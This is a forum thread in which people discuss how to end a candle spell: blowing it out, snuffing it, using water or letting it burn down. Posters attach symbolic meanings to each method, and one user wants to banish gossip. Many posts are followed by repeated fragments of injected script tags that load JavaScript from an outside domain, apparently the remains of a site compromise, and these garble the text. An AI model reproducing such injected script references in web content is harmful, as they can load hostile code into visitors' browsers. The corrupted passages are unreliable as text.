Burning candle

Can I blow the candle after the magic is finished its ritual?
Or I have to leave it burn out? sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Don't blow it out
Blowing out signifies that you're blowing your wish away.

You can snuff it out with a snuffer, you can wet your index finger and your thumb and pinch off the flame.

Anyone, correct me if I'm wrong as I'm not an expert :)

Thank you sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

So you mean I can snuff it with few drops of water or leave it out? sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

In my opinion, it's best to let the candle burn out completely. If you do have to leave somewhere, you can snuff your candle out. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Oh, a decent question, now this makes my day.

It really depends on how you're working, are you doing a candle spell or are the candles an ingredient in a much larger working? Are you Cursing, Protecting, Healing, Attracting?

I like to think of it like blowing a kiss, you're sending an intent out there, a focused gesture in the direction of your intended. I'm going to list a bunch of methods for handling candles and my personal interpretations on it.

Snuffing out , I see it as dropping the mic, covering it, smothering it having the 'final say' and pronouncing that it is the end of that. Or perhaps as a symbol of 'binding'

Water , depends on how much water, a little bit is for a slight 'refresh' and 'revitalize' a large deluge? Destroying or agressively banishing something.

Burning Out , only time I use this is if I want to keep the wax which will be infused with my intent, as a small charm to be added to a spell bag, or just kept like a magnet in my purse.

Blowing out , as I mentioned above, like blowing a kiss, or, a form of the 'evil eye' or pushing away, perhaps ending something, a direct, quick gesture.

Burn out fully, or burn for a little while?

You can reuse your candles, despite what people say, just remember to cleanse them or have certain candles for specific works, so like a big thick blue candle for Healing Magic, that you would light and pray over.
The only time I wouldn't reuse a candle for a different work is if I have inscribed names, sigils etc on it - because then it becomes bound to that intent or person - such as a white candle I have has names, sentences and sigils all over it, which I light if I need to give that someone a little more help.

Indeed I want to stop gossip aggressively sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

You could blow out candle for this, and imagine it blowing away all the gossip, or you could give it a good douse of water as mentioned above.
Also, I would suggest using a black candle for banishing. :) sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

I am going to snuff it out and imagine the gossip is firmly destructed by me. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

hello!

if you blow it out, it will interfere with the energy you've put onto the candle. i suggest letting it burn down, or snuff it with a tea cup, you can even do it with your fingers. but do not blow it out.

This is basic stuff, good to know!
